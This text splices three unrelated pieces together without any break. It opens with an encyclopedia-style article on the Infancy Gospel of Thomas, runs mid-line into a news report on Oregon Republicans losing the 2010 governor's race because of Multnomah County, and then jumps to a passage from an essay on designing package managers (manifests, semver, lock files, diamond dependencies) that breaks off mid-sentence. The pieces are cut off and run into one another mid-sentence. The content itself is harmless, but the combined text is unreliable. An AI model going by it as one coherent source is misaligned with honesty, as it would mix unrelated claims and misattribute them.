The first known quotation of its text is from Irenaeus of Lyon, ca 185. The earliest possible date of authorship is in the 80s A.D., the approximate date of the Gospel of Luke, from which the author of the Infancy Gospel borrowed the story of Jesus in the temple at age twelve (see Infancy 19:1-12 and Luke 2:41-52). Scholars generally agree on a date in the mid- to late-2nd century A.D. There are two 2nd-century documents, the Epistula Apostolorum and Irenaeus' Adversus haereses, which refer to a story of Jesus's tutor telling him, "Say alpha," and him replying, "First tell me what is beta, and I can tell you what alpha is." It is generally agreed that there was at least some period of oral transmission of the text, either wholly or as several different stories before it was first redacted and transcribed, and it is thus entirely possible that both of these documents and the Infancy Gospel of Thomas all refer to the oral versions of this story.
Manuscript tradition [ edit ]
It is unknown whether the original language of the Infancy Gospel of Thomas was Greek or Syriac. The few surviving Greek manuscripts provide no clues themselves, since none of them date before the 13th century, while the earliest authorities, according to the editor and translator Montague Rhodes James, are a much abbreviated 6th century Syriac version, and a Latin palimpsest of the 5th or 6th century, which has never been fully translated and can be found in Vienna[2]. There are many different manuscripts, translations, shortened versions, alternates, and parallels with slight nuance differences. James found that their large number makes the accounting of which text was which very difficult. This number of texts and versions reflects the great popularity of the work during the High Middle Ages.
Of the many different versions and alternate forms (e.g. Greek, Syriac, Latin, Slavonic, etc), there are 3 main principal forms commonly referred to as given by Constantin von Tischendorf. Two of those are Greek texts which are called Greek Text A (Greek A); Greek Text B (Greek B); and the third is Latin[3]. The first known publication of the Infancy Gospel of Thomas was by J Fabricius and has come to be known as Greek A[4]. The Greek A is the most well-known form often used and in its full form is the longer of the two greeks, based on at least 2 manuscripts it consists of nineteen chapters with several alternate other manuscripts with abbreviated forms[5]. The Greek B was found by Tischendorf trip to Mount Sinai{[when?] which is not only shorter (11 Chapters), but is a different version of the well-known A text. With some chapters abbreviated, other entire chapters left out completely, and few new lines[6]. The Latin translations has two distinct form of versions from the Old Latin with the Late Latin. The Latin was notable as it was the first discovered[when?][where?][by whom?] with an Egyptian Prologue[7].
Content [ edit ]
Jesus raises the clay birds of his playmates to life. (Klosterneuburger Evangelienwerk, 14th century)
The text describes the life of the child Jesus, with fanciful, and sometimes malevolent, supernatural events, comparable to the trickster nature of the god-child in many Greek myths. One of the episodes involves Jesus making clay birds, which he then proceeds to bring to life, an act also attributed to Jesus in Quran 5:110,[8] and in a medieval work known as Toledot Yeshu, although Jesus's age at the time of the event is not specified in either account. In another episode, a child disperses water that Jesus has collected. Jesus kills his first child, when at age one he curses a boy, which causes the child's body to wither into a corpse. Later, Jesus kills another child when Jesus curses him when he apparently accidentally bumps into Jesus, throws a stone at Jesus, or punches Jesus (depending on the translation).
When Joseph and Mary's neighbours complain, they are miraculously struck blind by Jesus. Jesus then starts receiving lessons, but arrogantly tries to teach the teacher instead, upsetting the teacher who suspects supernatural origins. Jesus is amused by this suspicion, which he confirms, and revokes all his earlier apparent cruelty. Subsequently he resurrects a friend who is killed when he falls from a roof, and heals another who cuts his foot with an axe.
After various other demonstrations of supernatural ability, new teachers try to teach Jesus, but he proceeds to explain the law to them instead. There is another set of miracles in which Jesus heals his brother who is bitten by a snake, and two others who have died from different causes. Finally, the text recounts the episode in Luke in which Jesus, aged twelve, teaches in the temple.
Although the miracles seem quite randomly inserted into the text, there are three miracles before, and three after, each of the sets of lessons. The structure of the story is essentially:
Bringing life to a dried fish (this is only present in later texts)
(First group) 3 Miracles - Breathes life into birds fashioned from clay, curses a boy, who then becomes a corpse (not present in Greek B), curses a boy who falls dead and his parents become blind Attempt to teach Jesus which fails, with Jesus doing the teaching 3 Miracles - Reverses his earlier acts (this would include resurrecting the two boys and healing the blind parents), resurrects a friend who fell from a roof, heals a man who chopped his foot with an axe. [9]
(Second group) 3 Miracles - Carries water on cloth, produces a feast from a single grain, stretches a beam of wood to help his father finish constructing a bed Attempts to teach Jesus, which fails, with Jesus doing the teaching 3 Miracles - Heals James from snake poison, resurrects a child who died of illness, resurrects a man who died in a construction accident
Incident in the temple paralleling Luke
Episodes from Jesus's childhood as depicted in the "Klosterneuburger Evangelienwerk", a 14th-century gospel translation:
Jesus is carrying water in his lap, after his water jar got broken; other children are watching in surprise.
Jesus hands the water in his lap over to Mary.
Jesus reassembles the water jars of the children who, in an attempt to imitate him, smashed their jars on purpose.
Jesus tells Joseph to raise a dead man.
Joseph raises the man on the stretcher from the dead.
During play, child Zenon falls off the roof of a house; two Jews accuse Jesus to have pushed him.
Jesus raises the dead child from the dead, so he can testify that Jesus is innocent.
Together with other children, Jesus is catching fish on Sabbath.
A Jew who scolds the children dies on the spot.
The children complain about Jesus to adult Jews.
At Mary's and Joseph's request, Jesus raises the dead man.
Jesus plays with lions and guides them up to the town gates. The town people are scared.
Jesus quarrels with his teacher in front of other pupils about the nature of the letters.
Syriac Infancy Gospel [ edit ]
The Syriac Infancy Gospel (Injilu 't Tufuliyyah), translated from a Coptic original, gives some parallels to the episodes "recorded in the book of Josephus the Chief Priest, who was in the time of Christ."[citation needed]
See also [ edit ]
Further reading [ edit ]
Barnstone, Willis (ed.). The Other Bible, Harper Collins, 1984, pp. 398–403. ISBN 0-06-250031-7
References [ edit ]For the third time in the past decade, Oregon Republicans went to bed on election night thinking they might have finally ended Democratic dominance of statewide races.
But like a recurring bad dream, they awoke Wednesday to see the ballots from heavily Democratic Multnomah County seal a close victory for Democrat John Kitzhaber over Republican Chris Dudley in the governor's race.
"No matter who the Republican is, there is going to be a huge spread there," Bob Repp, a West Linn attorney and Republican volunteer, said with a sigh. "There just seems to be a real rigid dogmatism that has set in in Multnomah County."
Repp's disappointment was shared widely among Republican activists who thought Dudley, a former Portland Trail Blazer with a moderate tone on many issues, could change the political dynamic in Oregon's most populous county.
But Dudley picked up less than 28 percent of the county vote. Republican Sen. Gordon Smith didn't do any better in his narrow re-election loss in 2008, and Republican Kevin Mannix did only slightly better in his close defeat in the 2002 governor's race.
The county, home to the state's largest city and a fifth of the state's voters, has become the symbol of Democratic political dominance in Oregon. Several other counties are just as rigidly partisan -- Dudley won five counties by more than 70 percent -- but none carries anywhere near the weight or attention of the county that is at the heart of the state's one major urban region.
Election 2010
The continual thumping has left Republicans wondering whether they can become competitive in statewide offices in Oregon.
"For a Republican, in this political climate, running a good race, to come up short in this year -- that's discouraging," said Dan Lavey, a Portland consultant who was one of Dudley's top advisers. He added that it's enough to give any Republican pause about running statewide in Oregon.
Josh Kardon, a consultant from Portland who worked on Kitzhaber's campaign, said Republicans are right to fret.
"The problem they face is, they have to whip up their base to get their numbers to be competitive," said Kardon, who was chief of staff to Sen. Ron Wyden, D-Ore. "But as soon as they do that, the Multnomah County base is easy to whip up.... Their fundamental problem is they are not going to change Multnomah County."
That may be. But Multnomah County hasn't always been so lopsided.
About three decades ago, Portland was a center of heavy manufacturing, and its professional class often served as the lawyers, bankers and accountants to the state's dominant timber industry. The county was more Democratic than the rest of the state, but not markedly so.
In 1986, for example, Neil Goldschmidt won the first of what is now an unbroken string of Democratic victories in governor's races. He took 57 percent of the vote in Multnomah County, just 5 percentage points above his statewide percentage.
The rest of the state was also less polarized. Crook County, in eastern Oregon, was nationally famous as a political bellwether. For 110 years, until 1992, it always voted for the winning presidential candidate.
Now, flash forward to Tuesday's election. Kitzhaber won more than 70 percent of the Multnomah County vote, 21 percentage points above what he scored statewide. And the idea of Crook County, which gave 70 percent of its votes to Dudley, as anything other than reliably Republican is now laughable.
Bill Bishop said he has seen this around the country. A veteran Texas journalist, Bishop wrote "The Big Sort," a 2008 book that explained how Americans were increasingly segregating themselves politically.
"People began to sort themselves according to their lifestyles," said Bishop, and political parties became more partisan and divided along such hot-button issues as gay rights and abortion.
Cities became havens for more culturally liberal people, while social conservatives often sought out the outlying suburbs. Portland no longer relied as much on the timber industry, and the working-class bungalows on the city's east side have become increasingly more likely to be filled by a software designer than a welder.
Bishop |
, js/node, js/browser, PHP, Python, Erlang, Haskell, etc. Of course, most languages — Go being an exception — have no choice, as there isn’t enough information directly in the source code for package retrieval. Some PDMs rely on the central system exclusively, while others also allow direct interaction with source repositories (e.g. on GitHub, Bitbucket, etc.). Creating, hosting, and maintaining a registry is an enormous undertaking. And, also it’s…not my problem! This is not an article about building highly available, high-traffic data storage services. So I’m skippin’ ‘em. Have fun! …ahem. Well, I’m skipping how to build a registry, but not their functional role. By acting as package metadata caches, they can offer significant performance benefits. Since package metadata is generally held in the manifest, and the manifest is necessarily in the source repository, inspecting the metadata would ordinarily require cloning a repository. A registry, however, can extract and cache that metadata, and make it available via simple HTTP API calls. Much, much faster. Registries can also be used to enforce constraints. For example, the above Cargo manifest has a ‘package.version’ field: [package]
version = "0.2.6" Think about it this a little. Yep: it’s nuts! Versions must refer to a single revision to be of use. But by writing it into the manifest, that version number just slides along with every commit made, thereby ending up applying to multiple revisions. Cargo addresses this by imposing constraints in the registry itself: publishing a version to crates.io is absolutely permanent, so it doesn’t matter what other commits that version might apply to. From crates’ perspective, only the first revision actually gets it. Other sorts of constraint enforcement might include validation of a well-formed source package. If the language does not dictate a particular source structure, then the PDM might impose one, and a registry could enforce it: npm could look for a well-formed module object, or composer could try to validate conformance to an autoloader PSR. (AFAIK, neither do, nor am I even sure either is possible). In a language like Go, where code is largely self-describing, this sort of thing is mostly unnecessary. Parameterization The second group is all about parameterization. The particulars here are Rust-specific, but the general idea is not: parameters are well-defined ways in which the form of the project’s output, or its actual logical behavior, can be made to vary. While some aspects can intersect with PDM responsibilities, this is often out of the PDM’s scope. For example, Rust’s target profiles allow control over the optimization level passed to its compiler. And, compiler args? PDM don’t care. However, some types of options — Rust’s features, Go’s build tags, any notion of build profiles (e.g. test vs. dev vs. prod) — can change what paths in the project’s logic are utilized. Such shifts may, in turn, make some new dependencies required, or obviate the need for others. That is a PDM problem. If this type of configurability is important in your language context, then your ‘dependency’ concept may need to admit conditionality. On the other hand, ensuring a minimal dependency set is (mostly) just about reducing network bandwidth. That makes it a performance optimization, and therefore skippable. We’ll revisit this further in the lock files section. If you’re not a wizened Rustacean or package manageer, Cargo’s ‘features’ may be a bit puzzling: just who is making choices about feature use, and when? Answer: the top-level project, in their own manifest. This highlights a major bit I haven’t touched yet: projects as “apps,” vs. projects as “libraries.” Conventionally, apps are the project at the top of the dependency chain — the top-level project — whereas libraries are necessarily somewhere down-chain. The app/lib distinction, however, is not so hard-and-fast. In fact, it’s mostly situational. While libraries might usually be somewhere down the dependency chain, when running tests or benchmarks, they’re the top-level project. Conversely, while apps are usually on top, they may have subcomponents that can be used as libraries, and thus may appear down-chain. A better way to think of this distinction is “a project produces 0..N executables.” Apps and libs really being mostly the same thing is good, because it suggests it’s appropriate to use the same manifest structure for both apps and libs. It also emphasizes that manifests are necessarily both “downward”-facing (specifying dependencies) and “upward”-facing (offering information and choices to dependees). Dependencies The PDM’s proper domain! Each dependency consists of, at least, an identifier and version specifier. Parameterization or source types (e.g. raw VCS vs. registry) may also be present. Changes to this part of a manifest are necessarily of one of the following: Adding or removing a dependency
Changing the desired version of an existing dependency
Changes to the parameters or source types of a dependency These are the tasks that devs actually need to do. Removal is so trivial that many PDMs don’t provide a command, instead just expecting you’ll delete the appropriate line from the manifest. (I think an rm command is generally worth it, for reasons I’ll get into later.) adding generally oughtn’t be more difficult than: <tool> add <identifier>@<version> or just <tool> add <identifier> to implicitly ask for the most recent version. The only hard requirements for identifiers is that they all exist in the same namespace, and that the PDM can glean enough information from parsing them (possibly with some help from a ‘type’ field — e.g. ‘git’ or ‘bzr’, vs. ‘pkg’ if it’s in a central registry) to determine how to fetch the resource. Basically, they’re a domain-specific URI. Just make sure you avoid ambiguity in the naming scheme, and you’re mostly good. If possible, you should try to ensure package identifiers are the same as the names used to reference them in code (i.e. via include statements), as that’s one less mental map for users to hold, and one less memory map for static analyzers to need. At the same time, one useful thing that PDMs often do, language constraints permitting, is the aliasing of one package as another. In a world of waiting for patches to be accepted upstream, this can be a handy temporary hack to swap in a patched fork. Of course, you could also just swap in the fork for real. So why alias at all? It goes back to the spirit of the manifest: they’re a place to hold user intent. By using an alias, an author can signal to other people — project collaborators especially, but users as well — that it is a temporary hack, and they should set their expectations appropriately. And if being implicit isn’t clear enough, they can always put in a comment explaining why! Outside of aliases, though, identifiers are pretty humdrum. Versions, however, are anything but. Hang on, we need to talk about versions Versions are hard. Maybe this is obvious, maybe not, but recognizing what makes them hard (and the problem they solve) is crucial. Versions have exactly, unambiguously, and unequivocally fuck all to do with the code they emblazon. There are literally zero questions about actual logic a version number can definitively answer. On that very-much-not-answerable list is one of the working stiff developer’s most important questions: “will my code still work if I change to a different version of yours?” Despite these limitations, we use versions. Widely. The simple reason is due to one of those pieces of the FLOSS worldview: I know there is a limit beyond which I cannot possibly grok all code I pull in. If we had to completely grok code before using or updating it, we’d never get anything done. Sure, it might be A Software Engineering Best Practice™, but enforcing it would grind the software industry to a halt. That’s a far greater risk than having some software not work some times because some people used versions wrong. There’s a less obvious reason we rely on versions, though: there is no mechanical alternative. That is, according to our current knowledge of how computation works, a generic tool (even language-specific) capable of figuring out whether or not combinations of code will work as intended cannot exist. Sure, you can write tests, but let’s not forget Dijkstra: “Empirical testing can only prove the presence of bugs, never their absence.” Someone better than me at math, computer science and type theory could probably explain this properly. But you’re stuck with me for now, so here’s my glib summary: type systems and design by contract can go a long way towards determining compatibility, but if the language is Turing complete, they will never be sufficient. At most, they can prove code is not incompatible. Try for more, and you’ll end up in a recursive descent through new edge cases that just keep on popping out. A friend once referred to such endeavors as playing Gödelian whack-a-mole. (Pro tip: don’t play. Gödel’s winning streak runs 85 years.) This is not (just) abstruse theory. It confirms the simple intuition that, in the “does my code work correctly with yours?” decision, humans must be involved. Machines can help, potentially quite a lot, by doing parts of the work and reporting results, but they can’t make a precise final decision. Which is exactly why versions need to exist, and why systems around them work the way they do: to help humans make these decisions. Versions’ sole raison d’etre is as a crude signaling system from code’s authors to its users. You can also think of them as a curation system. When adhering to a system like SemVer, versions can suggest: Evolutions in the software, via a well-defined ordering relationship between any two versions
The general readiness of a given version for public use (i.e., <1.0.0, pre-releases, alpha/beta/rc)
The likelihood of different classes of incompatibilities between any given pair of versions
Implicitly, that if there are versions, but you use a revision without a version, you may have a bad time For a system like semver to be effective in your language, it’s important to set down some language-specific guidelines around what kind of logic changes correspond to major, minor, and patch-level changes. Rust got out ahead of this one. Go needs to, and still can. Without them, not only does everyone just go by ‘feel’ — AKA, “let’s have everyone come up with their own probably-garbage approach, then get territorial and defensive” — but there’s no shared values to call on in an issue queue when an author increments the wrong version level. And those conversations are crucial. Not only do they fix the immediate mistake, but they’re how we collectively improve at using versions to communicate. Despite the lack of necessary relationship between versions and code, there is at least one way in which versions help quite directly to ensure software works: they focus public attention on a few particular revisions of code. With attention focused thusly, Linus’ Law suggests that bugs will be rooted out and fixed (and released in subsequent patch versions). In this way, the curatorial effect of focusing attention on particular versions reduces systemic risk around those versions. This helps with another of FLOSS’ uncertainties: I have to prepare myself for the likelihood that most of what’s out there will probably be crap. Sorting wheat from chaff will also take time. Having versions at least ensures that, if the software is crap, it’s because it’s actually crap, not because you grabbed a random revision that happened to be crap. That saves time. Saved time can save projects. Non-Version Versions Many PDMs also allow other, non-semver version specifiers. This isn’t strictly necessary, but it has important uses. Two other types of version specifiers are notable, both of which more or less necessitate that the underlying source type is a VCS repository: specifying a branch to ‘follow’, or specifying an immutable revision. The type of version specifier used is really a decision about how you want to relate to that upstream library. That is: what’s your strategy for aligning their universe with yours? Personally, I see it a bit like this:
Note that only one of these concepts can be represented with pictures from iStockPhoto. HMMM.
Versions provide me a nice, ordered package environment. Branches hitch me to someone else’s ride, where that “someone” may or may not be hopped up on cough syrup and blow. Revisions are useful when the authors of the project you need to pull in have provided so little guidance that you basically just have to spin the wheel and pick a revision. Once you find one that works, you write that revision to the manifest as a signal to your team that you never want to change again. Now, any of these could go right or wrong. Maybe those pleasant-seeming packages are brimming with crypto backdoored by NSA. Maybe that dude pulling me on a rope tow is actually a trained car safety instructor. Maybe it’s a, uh, friendly demon running the roulette table? Regardless, what’s important about these different identifiers is how it defines the update process. Revisions have no update process; branches are constantly chasing upstream, and versions, especially via version range specifiers, put you in control of the kind of ride you want…as long as the upstream author knows how to apply semver correctly. Really, this is all just an expansion and exploration of yet another aspect of the FLOSS worldview: I know that relying on other peoples’ code means hitching my project to theirs, entailing at least some logistical and cognitive overhead. We know there’s always going to be some risk, and some overhead, to pulling in other peoples’ code. Having a few well-defined patterns at least make the alignment strategy immediately evident. And we care about that because, once again, manifests are an expression of user intent: simply looking at the manifest’s version specifier clearly reveals how the author wants to relate to third-party code. It can’t make the upstream code any better, but following a pattern reduces cognitive load. If your PDM works well, it will ease the logistical challenges, too. The Unit of Exchange I have hitherto been blithely ignoring something big: just what is a project, or a package, or a dependency? Sure, it’s a bunch of source code, and yes, it emanates, somehow, from source control. But is the entire repository the project, or just some subset of it? The real question here is, “what’s the unit of source code exchange?” For languages without a particularly meaningful source-level relationship to the filesystem, the repository can be a blessing, as it provides a natural boundary for code that the language does not. In such cases, the repository is the unit of exchange, so it’s only natural that the manifest sits at the repository root: $ ls -a
.
..
.git
MANIFEST
<ur source code heeere> However, for languages that do have a well-defined relationship to the filesystem, the repository isn’t providing value as a boundary. (Go is the strongest example of this that I know, and I deal with it in the Go section.) In fact, if the language makes it sane to independently import different subsets of the repository’s code, then using the repository as the unit of exchange can actually get in the way. It can be inconvenient for consumers that want only some subset of the repository, or different subsets at different revisions. Or, it can create pain for the author, who feels she must break down a repository into atomic units for import. (Maintaining many repositories sucks; we only do it because somehow, the last generation of DVCS convinced us all it was a good idea.) Either way, for such languages, it may be preferable to define a unit of exchange other than the repository. If you go down that path, here’s what you need to keep in mind: The manifest (and the lock file) take on a particularly meaningful relationship to their neighboring code. Generally, the manifest then defines a single ‘unit.’
It is still ABSOLUTELY NECESSARY that your unit of exchange be situated on its own timeline — and you can’t rely on the VCS anymore to provide it. No timeline, no universes; no universes, no PDM; no PDM, no sanity.
that your unit of exchange be situated on its own timeline — and you can’t rely on the VCS anymore to provide it. No timeline, no universes; no universes, no PDM; no PDM, no sanity. And remember: software is hard enough without adding a time dimension. Timeline information shouldn’t be in the source itself. Nobody wants to write real code inside a tesseract. Between versions in the manifest file and path dependencies, it would appear that Cargo has figured this one out, too. Other Thoughts Mostly these are bite-sized new ideas, but also some review. Choose a format primarily for humans, secondarily for machines: TOML or YAML, else (ugh) JSON. Such formats are declarative and stateless, which makes things simpler. Proper comments are a big plus — manifests are the home of experiments, and leaving notes for your collaborators about the what and why of said experiments can be very helpful!
TIMTOWTDI, at least at the PDM level, is your arch-nemesis. Automate housekeeping completely. If PDM commands that change the manifest go beyond add/remove and upgrade commands, it’s probably accidental, not essential. See if it can be expressed in terms of these commands.
. Automate housekeeping completely. If PDM commands that change the manifest go beyond add/remove and upgrade commands, it’s probably accidental, not essential. See if it can be expressed in terms of these commands. Decide whether to have a central package registry (almost certainly yes). If so, jam as much info for the registry into the manifest as needed, as long as it in no way impedes or muddles the dependency information needed by the PDM.
Avoid having information in the manifest that can be unambiguously inferred from static analysis. High on the list of headaches you do not want is unresolvable disagreement between manifest and codebase. Writing the appropriate static analyzer is hard? Tough tiddlywinks. Figure it out so your users won’t have to.
Decide what versioning scheme to use (Probably semver, or something like it/enhancing it with a total order). It’s probably also wise to allow things outside the base scheme: maybe branch names, maybe immutable commit IDs.
Decide if your software will combine PDM behavior with other functionality like an LPM (probably yes). Keep any instructions necessary for that purpose cleanly separated from what the PDM needs.
There are other types of constraints — e.g., required minimum compiler or interpreter version — that may make sense to put in the manifest. That’s fine. Just remember, they’re secondary to the PDM’s main responsibility (though it may end up interleaving with it).
Decide on your unit of exchange. Make a choice appropriate for your language’s semantics, but absolutely ensure your units all have their own timelines. The Lockdown In which we jump the gap. Are you watching closely? Transforming a manifest into a lock file is the process by which the fuzz and flubber of development are hardened into reliable, reproducible build instructions. Whatever crazypants stuff a developer does with dependencies, the lock file ensures another user can replicate it — zero thinking required. When I reflect on this apropos of the roiling, seething mass that is software, it’s pretty amazing. This transformation is the main process by which we mitigate harm arising from the inherent risks of development. It’s also how we address one particular issue in the FLOSS worldview: I know that I/my team bear the final responsibility to ensure the project we create works as intended, regardless of the insanity that inevitably occurs upstream. Now, some folks don’t see the value in precise reproducibility. “Manifests are good enough!”, “It doesn’t matter until the project gets serious” and “npm became popular long before shrinkwrap (npm’s lock file) was around!” are some arguments I’ve seen. But these arguments strike me as wrongheaded. Rather than asking, “Do I need reproducible builds?” ask “Do I lose anything from reproducible builds?” Literally everyone benefits from them, eventually. (Unless emailing around tarballs and SSH’ing to prod to bang out changes in nano is your idea of fun). The only question is if you need reproducibility a) now, b) soon, or else c) can we be friends? because I think maybe you’re not actually involved in shipping software, yet you’re still reading this, which makes you a weird person, and I like weird people. The only real potential downside of reproducible builds is the tool becoming costly (slow) or complicated (extra housekeeping commands or arcane parameters), thus impeding the flow of development. These are real concerns, but they’re also arguments against poor implementations, not reproducibility itself. In fact, they’re really UX guidelines that suggest what ‘svelte’ looks like on a PDM: fast, implicit, and as automated as possible. The algorithm Well, those guidelines just scream “algorithm!” And indeed, lock file generation must be fully automated. The algorithm itself can become rather complicated, but the basic steps are easily outlined: Build a dependency graph (so: directed, acyclic, and variously labeled) by recursively following dependencies, starting from those listed in the project’s manifest
Select a revision that meets the constraints given in the manifest
If any shared dependencies are found, reconcile them with <strategy>
Serialize the final graph (with whatever extra per-package metadata is needed), and write it to disk. Ding ding, you have a lock file! (Author’s note: The general problem here is boolean satisfiability, which is NP-complete. This breakdown is still roughly helpful, but trivializes the algorithm.) This provides us a lock file containing a complete list of all dependencies (i.e., all reachable deps in the computed, fully resolved dep graph). “All reachable” means, if our project has three direct dependencies, like this: Our project depends directly on A and B, which depend on C, which depends on D, and E, which depends on F. We still directly include all the transitively reachable dependencies in the lock file: The project’s lock file should record all of A, B, C, D, E, and F. Exactly how much metadata is needed depends on language specifics, but the basics are the package identifier, an address for retrieval, and the closest thing to an immutable revision (i.e. a commit hash) that the source type allows. If you add anything else — e.g., a target location on disk — it should only be to ensure that there is absolutely zero ambiguity in how to dump out the dependency code. Of the four basic steps in the algorithm, the first and last are more or less straightforward if you have a working familiarity with graphs. Sadly, graph geekery is beyond my ability to bequeath in an article; please feel free to reach out to me if that’s where you’re stuck. The middle two steps (which are really just “choose a revision” split in two), on the other hand, have hiccups that we can and should confront. The second is mostly easy. If a lock file already exists, keep the locked revisions indicated there unless: The user expressly indicated to ignore the lock file
A floating version, like a branch, is the version specifier
The user is requesting an upgrade of one or more dependencies
The manifest changed and no longer admits them
Resolving a shared dependency will not allow it This helps avoid unnecessary change: if the manifest would admit 1.0.7, 1.0.8, and 1.0.9, but you’d previously locked to 1.0.8, then subsequent resolutions should notice that and re-use 1.0.8. If this seems obvious, good! It’s a simple example that’s illustrative of the fundamental relationship between manifest and lock file. This basic idea approach is well-established — Bundler calls it “conservative updating.” But it can be extended further. Some PDMs recommend against, or at least are indifferent to, lock files committed in libraries, but that’s a missed opportunity. For one, it makes things simpler for users by removing conditionality — commit the lock file always, no matter what. But also, when computing the top-level project’s depgraph, it’s easy enough to make the PDM interpret a dependency’s lock file as being revision preferences, rather than requirements. Preferences expressed in dependencies are, of course, given less priority than those expressed in the top-level project’s lock file (if any). As we’ll see next, when shared dependencies exist, such ‘preferences’ can promote even greater stability in the build. Diamonds, SemVer and Bears, Oh My! The third issue is harder. We have to select a strategy for picking a version when two projects share a dependency, and the right choice depends heavily on language characteristics. This is also known as the “diamond dependency problem,” and it starts with a subset of our depgraph: The set in blue form a happy diamond. With no versions specified here, there’s no problem. However, if A and B require different versions of C, then we have a conflict, and the diamond splits: A broken diamond. Also noteworthy: while the happy diamond is merely a graph, this is also a tree. Y’know what else are trees? Filesystems. Do you smell a useful isomorphism? I smell a useful isomorphism. There are two classes of solution here: allow multiple C’s (duplication), or try to resolve the conflict (reconciliation). Some languages, like Go, don’t allow the former. Others do, but with varying levels of risky side effects. Neither approach is intrinsically superior for correctness. However, user intervention is never needed with multiple C’s, making that approach far easier for users. Let’s tackle that first. If the language allows multiple package instances, the next question is state: if there’s global state that dependencies can and do typically manipulate, multiple package instances can get clobbery in a hurry. Thus, in node.js, where there isn’t a ton of shared state, npm has gotten away with avoiding all possibility of conflicts by just intentionally checking out everything in ‘broken diamond’ tree form. (Though it can achieve the happy diamond via “deduping,” which is the default in npm v3). Frontend javascript, on the other hand, has the DOM — the grand daddy of global shared state — making that approach much riskier. This makes it a much better idea for bower to reconcile (“flatten”, as they call it) all deps, shared or not. (Of course, frontend javascript also has the intense need to minimize the size of the payload sent to the client.) If your language permits it, and the type system won’t choke on it, and the global state risks are negligible, and you’re cool with some binary/process footprint bloating and (probably negligible) runtime performance costs, AND bogging down static analysis and transpilation tooling is OK, then duplication is the shared deps solution you’re looking for. That’s a lot of conditions, but it may still be preferable to reconciliation strategies, as most require user intervention — colloquially known as DEPENDENCY HELL — and all involve potentially uncomfortable compromises in the logic itself. If we assume that the A -> C and B -> C relationships are both specified using versions, rather than branches or revisions, then reconciliation strategies include: Highlander : Analyze the A->C relationship and the B->C relationship to determine if A can be safely switched to use C-1.1.1, or B can be safely switched to use C-1.0.3. If not, fall back to realpolitik.
Analyze the A->C relationship and the B->C relationship to determine if A can be safely switched to use C-1.1.1, or B can be safely switched to use C-1.0.3. If not, fall back to realpolitik. Realpolitik: Analyze other tagged/released versions of C to see if they can satisfy both A and B’s requirements. If not, fall back to elbow grease.
Analyze other tagged/released versions of C to see if they can satisfy both A and B’s requirements. If not, fall back to elbow grease. Elbow grease: Fork/patch C and create a custom version that meets both A and B’s needs. At least, you THINK it does. It’s probably fine. Right? Oh, but wait! I left out the one where semver can save the day: Phone a friend: ask the authors of A and B if they can both agree on a version of C to use. (If not, fall back to Highlander.) The last is, by far, the best initial approach. Rather than me spending time grokking A, B and C well enough to resolve the conflict myself, I can rely on signals from A and B’s authors — the people with the least uncertainty about their projects’ relationship to C— to find a compromise: A’s manifest says it can use any patch version of v1.0 newer than 2, and B’s manifest says it can use any minor and patch version of v1. This could potentially resolve to many versions, but if A’s lock file pointed at 1.0.3, then the algorithm can choose that, as it results in the least change. Now, that resolution may not actually work. Versions are, after all, just a crude signaling system. 1.x is a bit of a broad range, and it’s possible that B’s author was lax in choosing it. Nevertheless, it’s still a good place to start, because: Just because the semver ranges suggest solution[s], doesn’t mean I have to accept them.
A PDM tool can always further refine semver matches with static analysis (if the static analyses feasible for the language has anything useful to offer).
No matter which of the compromise solutions is used, I still have to do integration testing to ensure everything fits for my project’s specific needs.
The goal of all the compromise approaches is to pick an acceptable solution from a potentially large search space (as large as all available revisions of C). Reducing the size of that space for zero effort is beneficial, even if occasional false positives are frustrating. Most important of all, though, is that if I do the work and discover that B actually was too lax and included versions for C that do not work (or excludes versions that do work), I can file patches against B’s manifest to change the range appropriately. Such patches record the work you’ve done, publicly and for posterity, in a way that helps others avoid the same pothole. A decidedly FLOSSy solution, to a distinctly FLOSSy problem. Dependency Parameterization When discussing the manifest, I touched briefly on the possibility of allowing parameterization that would necessitate variations in the dependency graphs. If this is something your language would benefit from, it can add some wrinkles to the lock file. Because the goal of a lock file is to completely and unambiguously describe the dependency graph, parameterizing things can get expensive quickly. The naive approach would construct a full graph in memory for each unique parameter combination; assuming each parameter is a binary on/off, the number of graphs required grows exponentially (2^N) in the number of parameters. Yikes. However, that approach is less “naive,” than it is “braindead.” A better solution might enumerate all the combinations of parameters, divide them into sets based on which combinations have the same input set of dependencies, and generate one graph per set. And an even better solution might handle all the combinations by finding the smallest input dependency set, then layering all the other combinations on top in a single, multivariate graph. (Then again, I’m an amateur algorithmicist on my best day, so I’ve likely missed a big boat here.) Maybe this sounds like fun. Or maybe it’s vertigo-inducing jibberish. Either way, skipping it’s an option. Even if your manifest does parameterize dependencies, you can always just get everything, and the compiler will happily ignore what it doesn’t need. And, once your PDM inevitably becomes wildly popular and you are showered with conference keynote speaker invitations, someone will show up and take care of this hard part, Because Open Source. That’s pretty much it for lock files. Onwards, to the final protocol! Compiler, phase zero: Lock to Deps All the lifting, none of the thinking If your PDM is rigorous in generating the lock file, this final step may amount to blissfully simple code generation: read through the lock file, fetch the required resources over the network (intermediated through a cache, of course), then drop them into their nicely encapsulated, nothing-will-mess-with-them place on disk. There are two basic approaches to encapsulating code: either place it under the source tree, or dump it in some central, out-of-the-way location where both the package identifier and version are represented in the path. If the latter is feasible, it’s a great option, because it hides the actual dependee packages from the user, who really shouldn’t need to look at them anyway. Even if it’s not feasible to use the central location directly as compiler/interpreter inputs — probably the case for most languages — then do it anyway, and use it as a cache. Disk is cheap, and maybe you’ll find a way to use it directly later. If your PDM falls into the latter, can’t-store-centrally camp, you’ll have to encapsulate the dependency code somewhere else. Pretty much the only “somewhere else” that you can even hope to guarantee won’t be mucked with is under the project’s source tree. (Go’s new vendor directories satisfy this requirement nicely.) That means placing it in the scope of what’s managed by the project’s version control system, which immediately begs the question: should dependency sources be committed? …probably not. There’s a persnickety technical argument against committing: if your PDM allows for conditional dependencies, then which conditional branch should be committed? “Uh, Sam, obv: just commit all of them and let the compiler use what it wants.” Well then, why’d you bother constructing parameterized dep graphs for the lock file in the first place? And, what if the different conditional branches need different versions of the same package? And…and… See what I mean? Obnoxious. Someone could probably construct a comprehensive argument for never committing dep sources, but who cares? People will do it anyway. So, being that PDMs are an exercise in harm reduction, the right approach ensures that committing dep sources is a safe choice/mistake to make. For PDMs that directly control source loading logic — generally, interpreted or JIT-compiled languages — pulling in a dependency with its deps committed isn’t a big deal: you can just write a loader that ignores those deps in favor of the ones your top-level project pulls together. However, if you’ve got a language, such as Go, where filesystem layout is the entire game, deps that commit their deps are a problem: they’ll override whatever reality you’re trying to create at the top-level. For wisdom on this, let’s briefly turn to distributed systems: A distributed system is one in which the failure of a computer you didn’t even know existed 